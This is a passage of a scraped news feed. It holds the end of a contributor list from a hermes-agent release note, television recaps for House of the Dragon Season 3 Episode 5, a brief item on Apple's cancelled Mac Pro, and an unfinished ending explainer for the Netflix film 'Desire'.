data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FuryMartin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FuryMartin">@FuryMartin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fyzanshaik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fyzanshaik">@fyzanshaik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravsaxena1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravsaxena1997">@gauravsaxena1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/geoffreybutler94/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/geoffreybutler94">@geoffreybutler94</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/georgedrury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/georgedrury">@georgedrury</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gigakun3030/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gigakun3030">@gigakun3030</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Git-on-my-level/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Git-on-my-level">@Git-on-my-level</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gitcommit90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gitcommit90">@gitcommit90</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/githubespresso407/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/githubespresso407">@githubespresso407</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gnodet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gnodet">@gnodet</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GottZ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GottZ">@GottZ</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gridzilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gridzilla">@Gridzilla</a>, @grimmjoww578, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gumclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gumclaw">@gumclaw</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaiderSultanArc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaiderSultanArc">@HaiderSultanArc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harjothkhara/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harjothkhara">@harjothkhara</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heathley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heathley">@heathley</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hejuntt1014/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hejuntt1014">@hejuntt1014</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hellno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hellno">@hellno</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/herbalizer404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/herbalizer404">@herbalizer404</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hmirin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hmirin">@hmirin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hopfensaft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hopfensaft">@Hopfensaft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hotragn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hotragn">@Hotragn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hsy5571616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hsy5571616">@hsy5571616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huanshan5195/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huanshan5195">@huanshan5195</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HumphreySun98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HumphreySun98">@HumphreySun98</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydracoco7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydracoco7">@hydracoco7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydraxman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydraxman">@hydraxman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgorGanapolsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgorGanapolsky">@IgorGanapolsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iizotov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iizotov">@iizotov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ildunari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ildunari">@ildunari</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IpastorSan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IpastorSan">@IpastorSan</a>, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,<br>
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,<br>
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @joelbrilliant, @John-Lussier, @jplew,<br>
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,<br>
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,<br>
@LavyaTandel, @lawyer112, @lemonwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,<br>
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,<br>
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,<br>
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,<br>
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, @neo-claw-bot,<br>
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a>,<br>
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @OYLFLMH,<br>
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, @pixel4039,<br>
@plcunha, @pnascimento9596, @Polyhistor, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, @professorpalmer, @Punyko8, @Que0x, @Qwinty,<br>
@r0gersm1th, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,<br>
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, @rodboev,<br>
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,<br>
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,<br>
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[House of the Dragon Season 3 Episode 5 Secret Tunnel Explained]]></title>
<description><![CDATA[House of the Dragon Season 3 Episode 5 places Alicent and Helaena inside one of the Red Keep’s hidden passages, where a planned escape quickly turns into a dangerous trap. Their disappearance adds fresh political tension while also showing how the castle’s secret tunnels can protect people, misle...]]></description>
<link>https://tsecurity.de/de/3681779/ios-mac-os/house-of-the-dragon-season-3-episode-5-secret-tunnel-explained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681779/ios-mac-os/house-of-the-dragon-season-3-episode-5-secret-tunnel-explained/</guid>
<pubDate>Mon, 20 Jul 2026 19:04:53 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[House of the Dragon Season 3 Episode 5 places Alicent and Helaena inside one of the Red Keep’s hidden passages, where a planned escape quickly turns into a dangerous trap. Their disappearance adds fresh political tension while also showing how the castle’s secret tunnels can protect people, mislead them, or leave them buried beneath the seat of power.



The passage appears to connect with the maze built under the Red Keep during the reign of Maegor I Targaryen. Maegor ordered the construction of hidden doors, false walls, and escape routes so he could survive attacks or flee during a siege. He later killed the workers who knew the full design, which left the tunnels dangerous for anyone who entered without guidance.



Why Alicent and Helaena Become Trapped



Alicent and Helaena close the hidden door after entering the passage, then discover that someone has blocked the route ahead. Helaena drops their only light after a rat frightens her, leaving both women trapped in complete darkness with no clear way back.



The blocked path suggests that someone deliberately closed this escape route. Mysaria stands out as the main suspect because she appears to know what happens across the Red Keep, including private details about Helaena. Larys Strong also remains a possible suspect because he often plans and understands how people behave under pressure.



Their Disappearance Creates Political Trouble



Rhaenyra will probably assume that Alicent and Helaena escaped from the castle, while Mysaria can use that belief to increase suspicion inside the Black faction. Daemon may reach a different conclusion and suspect that Ormund Hightower arranged their removal as part of a wider Green plan.



Alicent and Helaena will likely escape the tunnels, but their temporary disappearance can still push both sides toward further conflict. The scene also gives the Red Keep a stronger role in the story, as its hidden structure becomes another source of fear, confusion, and political danger.]]></content:encoded>
</item>
<item>
<title><![CDATA[‘House of the Dragon’ Season 3, Episode 5 Recap: Alicent and Helaena Face a Dark Fate]]></title>
<description><![CDATA[House of the Dragon Season 3, Episode 5 slows the pace after the conflict at Tumbleton, focusing on the personal and political consequences spreading across Westeros. Titled “Unbowed and Unbent,” the episode follows several characters who have lost control of their lives, armies, and claims to po...]]></description>
<link>https://tsecurity.de/de/3681763/ios-mac-os/house-of-the-dragon-season-3-episode-5-recap-alicent-and-helaena-face-a-dark-fate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681763/ios-mac-os/house-of-the-dragon-season-3-episode-5-recap-alicent-and-helaena-face-a-dark-fate/</guid>
<pubDate>Mon, 20 Jul 2026 19:04:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[House of the Dragon Season 3, Episode 5 slows the pace after the conflict at Tumbleton, focusing on the personal and political consequences spreading across Westeros. Titled “Unbowed and Unbent,” the episode follows several characters who have lost control of their lives, armies, and claims to power.



Spoiler warning: This recap contains major spoilers for House of the Dragon Season 3, Episode 5.




Episode title: Unbowed and Unbent



Release date: July 19, 2026



Streaming platform: HBO Max



Genre: Fantasy drama




The episode arrived on HBO and HBO Max in the United States on Sunday, July 19, while viewers in several international regions received it on Monday, July 20. New episodes continue to release weekly.



Alicent and Helaena Try to Escape the Red Keep



The most disturbing storyline follows Alicent and a pregnant Helaena, who remain prisoners inside the Red Keep after Rhaenyra’s forces captured King’s Landing.



Alicent discovers a hidden passage connected to Rhaenyra’s old bedroom and decides that it could offer them a way out. However, Helaena initially refuses to enter the tunnels because they remind her of the men who murdered her son, Jaehaerys.



She eventually follows Alicent, but their escape soon goes wrong. The narrow passage leads them deeper into the castle's hidden structure, where they become trapped without light or a clear route back.



Their situation reflects how far both women have fallen. Alicent once influenced kings and controlled the royal court, while Helaena carried the title of queen. They now find themselves buried inside the walls of the same political system that once protected them.



Daemon knows many of the Red Keep’s hidden routes, which leaves open the possibility that he could find them in Episode 6. However, their disappearance could create another serious problem for Rhaenyra’s unstable rule.



Aemond Finds Comfort With Alys Rivers







At Harrenhal, Aemond continues recovering from his injuries while struggling with nightmares and guilt. He dreams about Aegon and fears that Helaena’s warning about his death will come true.



Alys Rivers cares for him during his weakest moments. Their relationship develops with surprising tenderness as Alys helps him face his fear of losing Vhagar and his position in the war. Aemond also protects her when danger arrives, revealing a softer side rarely seen in previous seasons.



Criston Cole Prepares for His Final Battle



Criston Cole’s forces face growing resistance in the Riverlands as Oscar Tully counters his guerrilla attacks. With morale collapsing and the road to Tumbleton closing, Cole accepts that he may not survive the coming confrontation.



His speech to his remaining soldiers strongly prepares the story for the Butcher’s Ball, one of the Dance of the Dragons’ most brutal events. In the book, Cole dies after attempting to negotiate, but the series appears ready to give the confrontation a more personal focus.



Who Killed Rhaenyra’s Gold Cloaks?



The episode ends with Daemon discovering several murdered members of the City Watch, including men loyal to Rhaenyra. Their bodies have been arranged beneath a message written in blood: “A feast for traitors.”



Ormund Hightower arranged the attack as part of a larger campaign to weaken Rhaenyra’s control over King’s Landing. By targeting her enforcers and spreading anti-crown propaganda, he hopes to turn the smallfolk against her from within.



House of the Dragon Season 3, Episode 5 replaces dragon battles with fear, isolation, and political sabotage. Alicent and Helaena remain trapped, Criston prepares for a final stand, and Rhaenyra faces a growing rebellion inside her new capital.



What do you think will happen to Alicent and Helaena, and will Daemon find them before it is too late? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[„House of the Dragon“ Staffel 3: Start von Folge 6 auf HBO Max und WOW]]></title>
<description><![CDATA[Jetzt wird der „Dance of the Dragons“ endgültig zum offenen Krieg: Die dritte Staffel von „House of the Dragon“ ist gestartet und bringt die bislang größten Schlachten der gesamten Serie auf die Bildschirme. Wann ihr die neue Folge seht, verraten wir euch hier.]]></description>
<link>https://tsecurity.de/de/3680453/it-nachrichten/house-of-the-dragon-staffel-3-start-von-folge-6-auf-hbo-max-und-wow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680453/it-nachrichten/house-of-the-dragon-staffel-3-start-von-folge-6-auf-hbo-max-und-wow/</guid>
<pubDate>Mon, 20 Jul 2026 09:03:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Jetzt wird der „Dance of the Dragons“ endgültig zum offenen Krieg: Die dritte Staffel von „House of the Dragon“ ist gestartet und bringt die bislang größten Schlachten der gesamten Serie auf die Bildschirme. Wann ihr die neue Folge seht, verraten wir euch hier.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple planned a monster Mac Pro, then killed it]]></title>
<description><![CDATA[Apple explored Extreme chips and other ambitious Mac Pro upgrades before scrapping the machine altogether due to high costs and weak demand.
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
<link>https://tsecurity.de/de/3680448/ios-mac-os/apple-planned-a-monster-mac-pro-then-killed-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680448/ios-mac-os/apple-planned-a-monster-mac-pro-then-killed-it/</guid>
<pubDate>Mon, 20 Jul 2026 08:54:05 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="439" src="https://www.cultofmac.com/wp-content/uploads/2026/07/mac-pro-dead-1440x810.jpeg.webp" class="attachment-large size-large wp-post-image" alt="Apple’s “Extreme” Mac Pro was too extreme." decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/07/mac-pro-dead-1440x810.jpeg.webp 1440w, https://www.cultofmac.com/wp-content/uploads/2026/07/mac-pro-dead-400x225.jpeg 400w, https://www.cultofmac.com/wp-content/uploads/2026/07/mac-pro-dead-768x432@2x.jpeg.webp 1536w, https://www.cultofmac.com/wp-content/uploads/2026/07/mac-pro-dead-350x197.jpeg 350w, https://www.cultofmac.com/wp-content/uploads/2026/07/mac-pro-dead-768x432.jpeg.webp 768w, https://www.cultofmac.com/wp-content/uploads/2026/07/mac-pro-dead-1020x574.jpeg.webp 1020w, https://www.cultofmac.com/wp-content/uploads/2026/07/mac-pro-dead.jpeg.webp 1672w, https://www.cultofmac.com/wp-content/uploads/2026/07/mac-pro-dead-400x225@2x.jpeg 800w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>Apple explored Extreme chips and other ambitious Mac Pro upgrades before scrapping the machine altogether due to high costs and weak demand.</p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Netflix’s Desire Ending Explained: Who Killed Matías and What Happens to Lucero?]]></title>
<description><![CDATA[Netflix’s Desire ends by revealing that nearly every member of Lucero’s family played a role in Matías’ death. The final poolside sequence explains how jealousy, betrayal and fear turned a secret affair into a fatal family cover-up.



Major spoilers for Desire follow.



Desire Release Date, Cas...]]></description>
<link>https://tsecurity.de/de/3680069/ios-mac-os/netflixs-desire-ending-explained-who-killed-matas-and-what-happens-to-lucero/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680069/ios-mac-os/netflixs-desire-ending-explained-who-killed-matas-and-what-happens-to-lucero/</guid>
<pubDate>Mon, 20 Jul 2026 00:24:19 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Netflix’s Desire ends by revealing that nearly every member of Lucero’s family played a role in Matías’ death. The final poolside sequence explains how jealousy, betrayal and fear turned a secret affair into a fatal family cover-up.



Major spoilers for Desire follow.



Desire Release Date, Cast and Other Details




Netflix release date: July 17, 2026



Original title: Deseo



Genre: Erotic thriller, psychological drama



Runtime: Around 98 minutes



Director: Teresa Simone



Language: Spanish



Main cast: Ludwika Paleta, Óscar Casas, José María Yazpik and Pilar Pascual




The Mexican-Spanish movie follows Lucero, a successful 47-year-old lawyer who appears to have a comfortable life with her husband, Fernando, and their two children. However, she feels increasingly dissatisfied with her marriage and begins an affair with Matías, the young swimming coach hired by Fernando.



The situation becomes more dangerous when Lucero’s daughter, Viviana, also develops feelings for Matías. What begins as an affair soon becomes a tense triangle involving secrecy, manipulation and jealousy.



Where Is the Story Heading Before the Final Scene?



The movie opens with blood near the family’s indoor swimming pool, immediately confirming that someone has died. It then moves back through the events that caused the tragedy.



Lucero’s relationship with Matías grows more intense, even as she understands that the affair could destroy her marriage, career and relationship with her children. Matías also becomes involved with Viviana, creating further tension inside the family.



As the truth begins to surface, each character reacts differently. Viviana feels betrayed by both Matías and her mother, while Fernando begins to understand what has been happening inside his home. Lucero, meanwhile, focuses on protecting her family and preventing the affair from becoming public.



Since Desire is a standalone movie, there are no previous seasons to revisit. The entire story builds toward the night at the pool and the mystery surrounding Matías’ death.



Desire Ending Explained: Who Killed Matías?



The ending reveals that Matías’ death was caused by several actions rather than one sudden attack.



Julian secretly drugs Matías earlier in the evening. The drug leaves him physically weakened and less capable of defending himself when the conflict reaches the swimming pool.



Viviana then confronts Matías after discovering the truth about his relationship with Lucero. Feeling humiliated and used, she attacks him and leaves him injured.



Fernando later finds Matías bleeding and struggling in the pool. Instead of rescuing him, Fernando chooses to leave him there. His decision makes him directly responsible for allowing the situation to become fatal.



Lucero arrives for the final confrontation and sees that Matías is still alive. Matías appears to believe that she has come to help him or choose him over her family. However, Lucero pushes him beneath the water and holds him there until he drowns.



Lucero therefore delivers the final killing act, although every member of the family contributes to the chain of events that leads to his death.



Why Does Lucero Kill Matías?



Lucero kills Matías because she sees him as a threat to everything she wants to protect. Their affair once offered excitement and escape, but it eventually endangered her children, marriage and public life.



By the final scene, Lucero no longer views Matías as a romantic partner. She sees him as the person capable of exposing the family’s secrets and destroying their remaining sense of stability.



Her decision also completes her transformation. She begins the movie searching for freedom from her controlled life, yet she ends it committing murder to regain control.



Does Lucero’s Family Escape?



